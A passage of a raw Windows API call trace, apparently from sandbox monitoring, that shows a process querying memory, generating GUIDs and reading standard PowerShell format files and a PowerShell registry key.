lpBuffer=0x25e1d0*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.944] VirtualQuery (in: lpAddress=0x25d1d0, lpBuffer=0x25e1d0, dwLength=0x1c | out: lpBuffer=0x25e1d0*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.944] VirtualQuery (in: lpAddress=0x25d1d0, lpBuffer=0x25e1d0, dwLength=0x1c | out: lpBuffer=0x25e1d0*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.945] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x50a2b4e6, Data2=0x4ea0, Data3=0x4f0c, Data4=([0]=0xbf, [1]=0x44, [2]=0x6d, [3]=0xd1, [4]=0xc1, [5]=0x84, [6]=0xed, [7]=0x4a))) returned 0x0 [0057.945] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x7ad7af40, Data2=0x8667, Data3=0x4fa7, Data4=([0]=0xb8, [1]=0x1a, [2]=0x81, [3]=0x9e, [4]=0xc5, [5]=0x62, [6]=0xe4, [7]=0xfa))) returned 0x0 [0057.945] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xffc994d6, Data2=0xb50a, Data3=0x49ed, Data4=([0]=0x8a, [1]=0x56, [2]=0xa5, [3]=0x87, [4]=0x43, [5]=0xd7, [6]=0x22, [7]=0xce))) returned 0x0 [0057.945] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xc37820d0, Data2=0xabe5, Data3=0x4b32, Data4=([0]=0x88, [1]=0x93, [2]=0x51, [3]=0x7, [4]=0x2, [5]=0xd0, [6]=0x7c, [7]=0xf1))) returned 0x0 [0057.945] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xe5dbc27e, Data2=0xa2f9, Data3=0x4a1e, Data4=([0]=0xad, [1]=0x5f, [2]=0xc5, [3]=0xd0, [4]=0x70, [5]=0x64, [6]=0x2c, [7]=0xd7))) returned 0x0 [0057.946] VirtualQuery (in: lpAddress=0x25d324, lpBuffer=0x25e324, dwLength=0x1c | out: lpBuffer=0x25e324*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.946] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x4f5efbd6, Data2=0x2912, Data3=0x4fcd, Data4=([0]=0x9a, [1]=0x20, [2]=0xe7, [3]=0xfc, [4]=0xe3, [5]=0x4, [6]=0x78, [7]=0xf2))) returned 0x0 [0057.946] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x1850f125, Data2=0x6f51, Data3=0x4c1c, Data4=([0]=0xaf, [1]=0xc3, [2]=0x81, [3]=0xc3, [4]=0x2b, [5]=0x7b, [6]=0x27, [7]=0x81))) returned 0x0 [0057.946] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xaa80ac3d, Data2=0xe233, Data3=0x4c9c, Data4=([0]=0x85, [1]=0xdb, [2]=0xc1, [3]=0x3b, [4]=0x26, [5]=0x66, [6]=0x8c, [7]=0x21))) returned 0x0 [0057.946] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x8475ce20, Data2=0x3397, Data3=0x4003, Data4=([0]=0xb7, [1]=0x87, [2]=0xa6, [3]=0x71, [4]=0x40, [5]=0xd3, [6]=0x9c, [7]=0xe8))) returned 0x0 [0057.946] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x1bd6ea71, Data2=0x56e8, Data3=0x44d7, Data4=([0]=0xa1, [1]=0x3d, [2]=0x98, [3]=0x10, [4]=0x35, [5]=0x3a, [6]=0x1f, [7]=0xef))) returned 0x0 [0057.947] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xa277bccd, Data2=0x5b46, Data3=0x43dd, Data4=([0]=0xa0, [1]=0x38, [2]=0xc, [3]=0xa, [4]=0xfa, [5]=0x48, [6]=0x8a, [7]=0x36))) returned 0x0 [0057.947] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x95a96c4a, Data2=0x54a2, Data3=0x42bb, Data4=([0]=0x98, [1]=0x27, [2]=0x41, [3]=0x3a, [4]=0x72, [5]=0xbe, [6]=0x7b, [7]=0xd7))) returned 0x0 [0057.947] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x78d76af6, Data2=0x5151, Data3=0x4a2a, Data4=([0]=0xbc, [1]=0x8a, [2]=0x1e, [3]=0x8b, [4]=0x7a, [5]=0xa8, [6]=0xce, [7]=0xd))) returned 0x0 [0057.947] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x204b61d9, Data2=0x5226, Data3=0x4c68, Data4=([0]=0x97, [1]=0xd7, [2]=0x32, [3]=0x22, [4]=0x49, [5]=0x42, [6]=0x51, [7]=0x1e))) returned 0x0 [0057.947] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xac557598, Data2=0xa4ca, Data3=0x45e5, Data4=([0]=0xaf, [1]=0xa6, [2]=0xd4, [3]=0x3d, [4]=0x6, [5]=0xdc, [6]=0x59, [7]=0x92))) returned 0x0 [0057.947] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xce3734a8, Data2=0xfaa0, Data3=0x42ee, Data4=([0]=0x88, [1]=0xd1, [2]=0x4c, [3]=0x1f, [4]=0x46, [5]=0x9, [6]=0xc9, [7]=0x75))) returned 0x0 [0057.948] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xabc4e6de, Data2=0xe45e, Data3=0x4e78, Data4=([0]=0xb6, [1]=0xd1, [2]=0xa8, [3]=0x90, [4]=0xe0, [5]=0x73, [6]=0xbf, [7]=0x7f))) returned 0x0 [0057.948] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xdaf647bf, Data2=0x841e, Data3=0x4852, Data4=([0]=0xa1, [1]=0x8d, [2]=0x5b, [3]=0x3d, [4]=0x74, [5]=0xd7, [6]=0xb5, [7]=0xeb))) returned 0x0 [0057.948] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x9e6c3d48, Data2=0xedc7, Data3=0x41af, Data4=([0]=0x8b, [1]=0x5b, [2]=0x19, [3]=0x71, [4]=0xfc, [5]=0x87, [6]=0xbf, [7]=0xd6))) returned 0x0 [0057.948] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xa06339e8, Data2=0x6dff, Data3=0x418d, Data4=([0]=0x91, [1]=0xbf, [2]=0x93, [3]=0x3, [4]=0xed, [5]=0xc8, [6]=0x60, [7]=0x19))) returned 0x0 [0057.948] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x8a71ef02, Data2=0xabb1, Data3=0x43f8, Data4=([0]=0xa8, [1]=0xb3, [2]=0xd2, [3]=0x8d, [4]=0x47, [5]=0x71, [6]=0xfc, [7]=0xb6))) returned 0x0 [0057.948] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xa48fcde, Data2=0x3aa0, Data3=0x43be, Data4=([0]=0x8f, [1]=0x71, [2]=0x5f, [3]=0x8b, [4]=0xe4, [5]=0xc, [6]=0xdf, [7]=0x4c))) returned 0x0 [0057.948] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x28e3950e, Data2=0x2ead, Data3=0x456d, Data4=([0]=0x8d, [1]=0x46, [2]=0x88, [3]=0xb2, [4]=0x5a, [5]=0x72, [6]=0x3a, [7]=0x47))) returned 0x0 [0057.949] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x65f8567e, Data2=0x3f6b, Data3=0x43ed, Data4=([0]=0x90, [1]=0x57, [2]=0xe9, [3]=0x2, [4]=0xac, [5]=0x89, [6]=0xb, [7]=0x2b))) returned 0x0 [0057.949] VirtualQuery (in: lpAddress=0x25d1d0, lpBuffer=0x25e1d0, dwLength=0x1c | out: lpBuffer=0x25e1d0*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.949] VirtualQuery (in: lpAddress=0x25d1d0, lpBuffer=0x25e1d0, dwLength=0x1c | out: lpBuffer=0x25e1d0*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.951] VirtualQuery (in: lpAddress=0x25d1d0, lpBuffer=0x25e1d0, dwLength=0x1c | out: lpBuffer=0x25e1d0*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.953] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xb3d9f2d7, Data2=0xbc52, Data3=0x4109, Data4=([0]=0xaa, [1]=0xa2, [2]=0xc, [3]=0x8b, [4]=0xc9, [5]=0x2c, [6]=0x4d, [7]=0xc1))) returned 0x0 [0057.953] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x25df3c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0057.953] GetLastError () returned 0x0 [0057.953] SetErrorMode (uMode=0x1) returned 0x1 [0057.953] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x32c [0057.953] GetLastError () returned 0x0 [0057.953] GetFileType (hFile=0x32c) returned 0x1 [0057.953] SetErrorMode (uMode=0x1) returned 0x1 [0057.953] GetFileType (hFile=0x32c) returned 0x1 [0057.954] ReadFile (in: hFile=0x32c, lpBuffer=0x30382c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30382c0*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.955] GetLastError () returned 0x0 [0057.956] ReadFile (in: hFile=0x32c, lpBuffer=0x30382c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30382c0*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.956] GetLastError () returned 0x0 [0057.956] ReadFile (in: hFile=0x32c, lpBuffer=0x30382c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30382c0*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.956] GetLastError () returned 0x0 [0057.956] ReadFile (in: hFile=0x32c, lpBuffer=0x30382c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30382c0*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.956] GetLastError () returned 0x0 [0057.957] ReadFile (in: hFile=0x32c, lpBuffer=0x30382c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30382c0*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.957] GetLastError () returned 0x0 [0057.957] ReadFile (in: hFile=0x32c, lpBuffer=0x30382c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30382c0*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.957] GetLastError () returned 0x0 [0057.958] ReadFile (in: hFile=0x32c, lpBuffer=0x30382c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30382c0*, lpNumberOfBytesRead=0x25e4a4*=0x119, lpOverlapped=0x0) returned 1 [0057.958] GetLastError () returned 0x0 [0057.958] ReadFile (in: hFile=0x32c, lpBuffer=0x30382c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30382c0*, lpNumberOfBytesRead=0x25e4a4*=0x0, lpOverlapped=0x0) returned 1 [0057.958] GetLastError () returned 0x0 [0057.958] CloseHandle (hObject=0x32c) returned 1 [0057.958] GetLastError () returned 0x0 [0057.958] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x25e004, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0057.958] GetLastError () returned 0x0 [0057.958] SetErrorMode (uMode=0x1) returned 0x1 [0057.958] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x30592bc | out: lpFileInformation=0x30592bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0c3fbd, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0c3fbd, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2eaa6bc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6119)) returned 1 [0057.958] GetLastError () returned 0x0 [0057.958] SetErrorMode (uMode=0x1) returned 0x1 [0057.958] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x25dfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0057.958] GetLastError () returned 0x0 [0057.958] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e428 | out: phkResult=0x25e428*=0x32c) returned 0x0 [0057.959] RegQueryValueExW (in: hKey=0x32c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x25e470, lpData=0x0, lpcbData=0x25e46c*=0x0 | out: lpType=0x25e470*=0x1, lpData=0x0, lpcbData=0x25e46c*=0x56) returned 0x0 [0057.959] RegQueryValueExW (in: hKey=0x32c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x25e470, lpData=0x391da8, lpcbData=0x25e46c*=0x56 | out: lpType=0x25e470*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x25e46c*=0x56) returned 0x0 [0057.959] RegCloseKey (hKey=0x32c) returned 0x0 [0057.959] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x25dfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0057.959] GetLastError () returned 0x0 [0057.959] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x25df64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0057.959] GetLastError () returned 0x0 [0057.960] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.960] GetLastError () returned 0x0 [0057.960] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dc80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.960] GetLastError () returned 0x0 [0057.960] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dc80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.960] GetLastError () returned 0x0 [0057.960] VirtualQuery (in: lpAddress=0x25d180, lpBuffer=0x25e180, dwLength=0x1c | out: lpBuffer=0x25e180*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.960] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x4858c46, Data2=0x9ad4, Data3=0x4bb3, Data4=([0]=0x8b, [1]=0x4a, [2]=0xa9, [3]=0x43, [4]=0xab, [5]=0x5e, [6]=0x97, [7]=0xcf))) returned 0x0 [0057.961] VirtualQuery (in: lpAddress=0x25d1d0, lpBuffer=0x25e1d0, dwLength=0x1c | out: lpBuffer=0x25e1d0*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.961] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xeb281fe0, Data2=0x1d6d, Data3=0x402d, Data4=([0]=0xa3, [1]=0x5b, [2]=0xf8, [3]=0xb5, [4]=0x5b, [5]=0x6b, [6]=0x71, [7]=0x84))) returned 0x0 [0057.961] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x649a94ad, Data2=0x1fb7, Data3=0x4a27, Data4=([0]=0x99, [1]=0xae, [2]=0x9f, [3]=0x50, [4]=0x53, [5]=0x3d, [6]=0x24, [7]=0x6b))) returned 0x0 [0057.961] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xb5c9a115, Data2=0xe90, Data3=0x4610, Data4=([0]=0x92, [1]=0x64, [2]=0x2e, [3]=0x54, [4]=0x23, [5]=0xf3, [6]=0xe5, [7]=0x41))) returned 0x0 [0057.961] VirtualQuery (in: lpAddress=0x25d1d0, lpBuffer=0x25e1d0, dwLength=0x1c | out: lpBuffer=0x25e1d0*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.961] VirtualQuery (in: lpAddress=0x25d1d0, lpBuffer=0x25e1d0, dwLength=0x1c | out: lpBuffer=0x25e1d0*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.962] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x25df3c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0057.962] GetLastError () returned 0x0 [0057.962] SetErrorMode (uMode=0x1) returned 0x1 [0057.962] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\help.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x32c [0057.962] GetLastError () returned 0x0 [0057.962] GetFileType (hFile=0x32c) returned 0x1 [0057.962] SetErrorMode (uMode=0x1) returned 0x1 [0057.962] GetFileType (hFile=0x32c) returned 0x1 [0057.962] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.964] GetLastError () returned 0x0 [0057.964] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.965] GetLastError () returned 0x0 [0057.966] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.966] GetLastError () returned 0x0 [0057.966] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.966] GetLastError () returned 0x0 [0057.966] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.966] GetLastError () returned 0x0 [0057.966] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.966] GetLastError () returned 0x0 [0057.966] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.966] GetLastError () returned 0x0 [0057.967] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.967] GetLastError () returned 0x0 [0057.968] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.968] GetLastError () returned 0x0 [0057.968] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.968] GetLastError () returned 0x0 [0057.968] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.968] GetLastError () returned 0x0 [0057.968] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.969] GetLastError () returned 0x0 [0057.969] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.969] GetLastError () returned 0x0 [0057.969] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.969] GetLastError () returned 0x0 [0057.969] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.970] GetLastError () returned 0x0 [0057.970] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.970] GetLastError () returned 0x0 [0057.972] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.972] GetLastError () returned 0x0 [0057.972] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.972] GetLastError () returned 0x0 [0057.972] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.972] GetLastError () returned 0x0 [0057.972] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.973] GetLastError () returned 0x0 [0057.973] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.973] GetLastError () returned 0x0 [0057.973] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.973] GetLastError () returned 0x0 [0057.973] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.973] GetLastError () returned 0x0 [0057.973] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, 